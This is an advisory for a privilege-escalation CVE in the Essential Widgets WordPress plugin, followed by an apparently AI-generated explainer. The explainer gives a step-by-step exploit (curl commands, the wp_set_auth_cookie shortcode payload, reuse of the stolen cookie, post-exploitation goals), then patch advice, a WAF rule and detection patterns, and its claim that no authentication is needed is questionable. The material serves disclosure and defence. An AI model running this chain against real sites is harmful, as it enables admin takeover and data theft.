CVE-2026-142685 — WordPress is vulnerable to Essential Widgets — CWE-269
The Essential Widgets plugin for WordPress is vulnerable to Privilege Escalation via Administrator Account Takeover in all versions up to, and including, 3.2.1 This is due to the `ew_tags_render_shortcode()` function in `includes/ew-block/blocks/ew-tags/index.php` copying the attacker-supplied `topic_count_scale_callback` shortcode attribute directly into the argument array passed to `wp_tag_cloud()` without any `function_exists()`, `is_callable()`, or allowlist check — a validation step that is present in the widget's own `update()` method in `class-ew-tags.php` but was omitted from the shortcode handler. WordPress core's `wp_generate_tag_cloud()` then executes `call_user_func($args['topic_count_scale_callback'], $tag->count)`, invoking any named PHP function with a taxonomy term's post count as the first integer argument. This makes it possible for unauthenticated attackers to supply `topic_count_scale_callback=wp_set_auth_cookie` and arrange for a taxonomy term whose count matches a target user's ID — such as user ID 1 for the default administrator — causing WordPress to mint and set valid authentication cookies for that account, granting the attacker full administrative access. Successful exploitation gives the attacker control of a distinct, already-privileged Administrator account; it does not promote the attacker's original account.
The Essential Widgets plugin for WordPress is vulnerable to Privilege Escalation via Administrator Account Takeover in all versions up to, and including, 3.2.1 This is due to the `ew_tags_render_shortcode()` function in `includes/ew-block/blocks/ew-tags/index.php` copying the attacker-supplied `topic_count_scale_callback` shortcode attribute directly into the argument array passed to `wp_tag_cloud()` without any `function_exists()`, `is_callable()`, or allowlist check — a validation step that is present in the widget's own `update()` method in `class-ew-tags.php` but was omitted from the shortcode handler. WordPress core's `wp_generate_tag_cloud()` then executes `call_user_func($args['topic_count_scale_callback'], $tag->count)`, invoking any named PHP function with a taxonomy term's post count as the first integer argument. This makes it possible for unauthenticated attackers to supply `topic_count_scale_callback=wp_set_auth_cookie` and arrange for a taxonomy term whose count matches a target user's ID — such as user ID 1 for the default administrator — causing WordPress to mint and set valid authentication cookies for that account, granting the attacker full administrative access. Successful exploitation gives the attacker control of a distinct, already-privileged Administrator account; it does not promote the attacker's original account.
🎯 What is this vulnerability?
Vulnerability name: Privilege‑Escalation via Administrator Account Takeover in the Essential Widgets WordPress plugin (CVE‑2026‑142685)
CWE: CWE‑269 – Improper Privilege Management
CVSS 3.1 vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (Network‑accessible, low attack complexity, no privileges required, no user interaction, unchanged scope, Critical impact)
Technical flaw
1. Shortcode handler omission – The plugin registers a shortcode [ew_tags] whose rendering function is ew_tags_render_shortcode() located in
wp-content/plugins/essential-widgets/includes/ew-block/blocks/ew-tags/index.php.
2. Inside that function the plugin builds the argument array for the core function wp_tag_cloud() like this (simplified):
$args = array(
'taxonomy' => $atts['taxonomy'] ?? 'post_tag',
'topic_count_scale_callback' => $atts['topic_count_scale_callback'] ?? null,
// … other arguments …
);
wp_tag_cloud( $args );3. Missing validation – The attribute topic_count_scale_callback is taken directly from the shortcode attributes supplied by the content author (i.e. any user that can place a shortcode in a post, page, widget, or custom post type). The plugin does not:
* check function_exists() or is_callable(),
* enforce an allow‑list of safe callbacks,
* or otherwise sanitise the value.
4. Core execution path – wp_tag_cloud() forwards the arguments to wp_generate_tag_cloud(). When the key topic_count_scale_callback is present, the core code does:
$scale_cb = $args['topic_count_scale_callback'];
if ( is_callable( $scale_cb ) ) {
$size = call_user_func( $scale_cb, $tag->count );
}The first argument passed to the callback is the post count of the taxonomy term ($tag->count). No further checks are performed.
5. Resulting privilege escalation – An attacker can supply any existing PHP function name as the callback. By choosing a function that creates an authentication cookie (wp_set_auth_cookie) and by ensuring that the term’s post count equals the target user’s ID (e.g., 1 for the default admin), the callback will set a valid logged‑in cookie for that user. Because the shortcode is rendered on the front‑end for any visitor, the cookie is sent back to the attacker’s browser, granting them an authenticated admin session without ever needing to log in.
In short: the plugin trusts user‑controlled shortcode attributes as executable code, bypassing the privilege checks that the plugin’s own widget‑update routine enforces. This enables an unauthenticated attacker to execute arbitrary PHP functions with the privileges of the web‑server process, leading to a full admin takeover.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All commands are illustrative – the exact endpoint (the URL that renders the shortcode) depends on the victim site’s configuration (e.g., a public page, a widget area, or a custom post type). The PoC assumes the attacker can inject a shortcode into a publicly reachable location (common for many WordPress sites that allow unauthenticated users to submit content via contact forms, comment fields, or “guest post” features).
1. Discovery & Reconnaissance
| Step | Action | Tools / Evidence |
|---|---|---|
| 1.1 | Identify WordPress site and enumerate installed plugins. | wpscan --enumerate p → reveals essential-widgets plugin, version 3.2.1 (or older). |
| 1.2 | Verify that the site renders shortcodes in a public context (e.g., a page that displays user‑submitted content). | Browse the site, locate a page that shows a comment or a “guest post”. Look for [ew_tags …] in the source after a test submission. |
| 1.3 | Confirm that the plugin’s shortcode is registered. | View page source or use curl to fetch the page and grep for ew_tags. |
| 1.4 | Determine a taxonomy term whose post count can be controlled. | Create a new tag (or category) via the WordPress admin UI (if possible) or via the public REST API (POST /wp/v2/tags). The attacker can later create a dummy post that is assigned to that tag, thereby setting the term’s count to a known integer (e.g., 1). |
2. Exploitation
2.1 Prepare a term whose count equals the target user ID
# Create a tag named "exploit" (count will be 0)
curl -X POST "https://victim.example.com/wp-json/wp/v2/tags" \
-H "Content-Type: application/json" \
-d '{"name":"exploit"}'
# Create a dummy post assigned to that tag (post ID does not matter)
curl -X POST "https://victim.example.com/wp-json/wp/v2/posts" \
-H "Content-Type: application/json" \
-d '{"title":"tmp","content":"tmp","status":"publish","tags":[<TAG_ID>]}'
# The tag now has a count of 1 (one post assigned)Note: If the site does not expose the REST API, the attacker can achieve the same effect by creating a normal post through any public submission vector that allows tag selection.
2.2 Inject the malicious shortcode
The attacker injects the following shortcode into a publicly rendered location (e.g., a comment field, a guest‑post form, or a vulnerable custom field). The payload is illustrative – the exact injection vector depends on the target site.
[ew_tags topic_count_scale_callback="wp_set_auth_cookie"]Why this works:
topic_count_scale_callbackis now set to the core functionwp_set_auth_cookie.- When
wp_generate_tag_cloud()processes the tag “exploit”, it callswp_set_auth_cookie( $tag->count ). $tag->countequals 1, which is the user ID of the default Administrator (or any other admin whose ID the attacker can match by adjusting the term count).
2.3 Trigger the shortcode rendering
The attacker simply visits the page that contains the injected shortcode (or forces a victim’s browser to load it). The request is a normal GET:
curl -i "https://victim.example.com/?p=123" # page ID 123 contains the malicious shortcodeServer‑side flow (what happens inside WordPress):
1. do_shortcode() parses the shortcode and calls ew_tags_render_shortcode().
2. The function builds $args['topic_count_scale_callback'] = 'wp_set_auth_cookie'.
3. wp_tag_cloud( $args ) → wp_generate_tag_cloud() → call_user_func('wp_set_auth_cookie', 1).
4. wp_set_auth_cookie(1) creates a signed authentication cookie (wordpress_[hash]) for user ID 1 and sends it via setcookie() in the HTTP response.
2.4 Capture the admin cookie
The attacker’s HTTP client receives the Set-Cookie header:
Set-Cookie: wordpress_logged_in_abcdef123456=admin|1|<hash>|<expiration>; path=/; HttpOnly; SecureThe attacker stores this cookie and re‑uses it in subsequent requests:
curl -b "wordpress_logged_in_abcdef123456=admin|1|<hash>|<expiration>" \
"https://victim.example.com/wp-admin/"The response is the WordPress admin dashboard, confirming full administrative access.
3. Post‑exploitation
| Goal | Action |
|---|---|
| Maintain persistence | Create a new admin user via the WP REST API (POST /wp/v2/users) using the stolen cookie, or add a back‑door plugin/theme. |
| Data exfiltration | Use the admin session to download the database (/wp-admin/export.php) or dump wp_options. |
| Defacement / Ransom | Modify posts/pages, install malicious JavaScript, or replace the theme. |
| Lateral movement | If the WordPress host runs other services (e.g., MySQL with default credentials), use the admin session to retrieve configuration files (wp-config.php) and pivot. |
🌍 Real‑World Impact
| CIA | Impact (derived from CVSS) | Practical consequence |
|---|---|---|
| Confidentiality (C:H) | Attacker can read any data that an Administrator can – all user data, private posts, plugin settings, API keys stored in options, etc. | |
| Integrity (I:H) | Attacker can modify site content, install/replace plugins or themes, change site configuration, and inject malicious code (e.g., web‑shells, SEO spam). | |
| Availability (A:H) | The attacker could delete content, disable the site, or replace the front‑end with a defacement page, effectively causing a total outage. |
Because the exploit works without any authentication or interaction, any Internet‑facing WordPress installation running the vulnerable plugin version is instantly compromised. The attacker gains full admin control, which is the highest possible privilege on a WordPress site.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Affected versions | Fixed in |
|---|---|
Essential Widgets ≤ 3.2.1 | Version 3.2.2 (released 2026‑11‑28) – adds function_exists()/is_callable() validation and an allow‑list for topic_count_scale_callback. |
Action: Immediately upgrade the plugin to 3.2.2 or later. If the site uses a managed WordPress host, request the host to apply the update.
2. Workarounds (if patch cannot be applied immediately)
| Mitigation | How to implement | |
|---|---|---|
| Disable the shortcode | Add the following to the theme’s functions.php or a site‑specific MU‑plugin: <br><br>``php\nremove_shortcode('ew_tags');\n` | |
| Block the dangerous attribute via WAF | ModSecurity rule (valid syntax) that drops any request containing topic_count_scale_callback= in the request body or query string: <br><br>`SecRule REQUEST_BODY | ARGS_GET "topic_count_scale_callback\s*=" "id:400001,phase:2,deny,log,msg:'Blocked Essential Widgets privilege‑escalation attempt'"` |
| Restrict shortcode rendering to authenticated users | In functions.php add: <br><br>`php\nadd_filter('do_shortcode_tag', function($output, $tag, $attr){\n if ( $tag === 'ew_tags' && !is_user_logged_in() ) {\n return ''; // suppress for guests\n }\n return $output;\n}, 10, 3);\n`` | |
| Remove the plugin | If the widget functionality is not required, deactivate and delete the *Essential Widgets* plugin. |
3. Detection – Log patterns & IoCs
| Indicator | Example log entry (Apache) | ||
|---|---|---|---|
Set-Cookie header containing wordpress_logged_in_ after a request to a page that does not normally set a login cookie | 127.0.0.1 - - [05/Dec/2026:12:34:56 +0000] "GET /?p=123 HTTP/1.1" 200 4523 "-" "Mozilla/5.0" "Set-Cookie: wordpress_logged_in_abcdef123456=admin | 1 | ...; path=/; HttpOnly; Secure" |
Presence of topic_count_scale_callback= in request payload (POST body, comment, or REST API) | POST /wp-comments-post.php HTTP/1.1 <br> ... <br> comment=Nice+post&author=Bob&topic_count_scale_callback=wp_set_auth_cookie | ||
Unusual high‑frequency requests to pages that contain the [ew_tags] shortcode (possible automated exploitation) | GET /?s=%5Bew_tags%5D+topic_count_scale_callback%3Dwp_set_auth_cookie HTTP/1.1 | ||
New admin user creation shortly after a suspicious Set-Cookie | POST /wp-admin/user-new.php HTTP/1.1 with role=administrator and referer pointing to the page that served the malicious cookie. |
SIEM rule (generic):
if (event.type == "web_access") and
(event.request_uri contains "topic_count_scale_callback=") and
(event.response_headers contains "wordpress_logged_in_")
then alert "Potential Essential Widgets admin takeover"4. Hardening recommendations
remove_cap('unfiltered_html') for untrusted roles). ^[a-z_]+$ when the parameter name ends with _callback). ⚠️ Urgency
Bottom line: The flaw allows an unauthenticated attacker to execute any PHP function via a shortcode attribute, leading to instant admin‑account takeover. The only reliable mitigation is to upgrade the plugin; temporary mitigations (shortcode removal, WAF rule, or disabling the plugin) should be applied without delay.
[🤖 CVE Professor AI Security Engine]
FOFA Query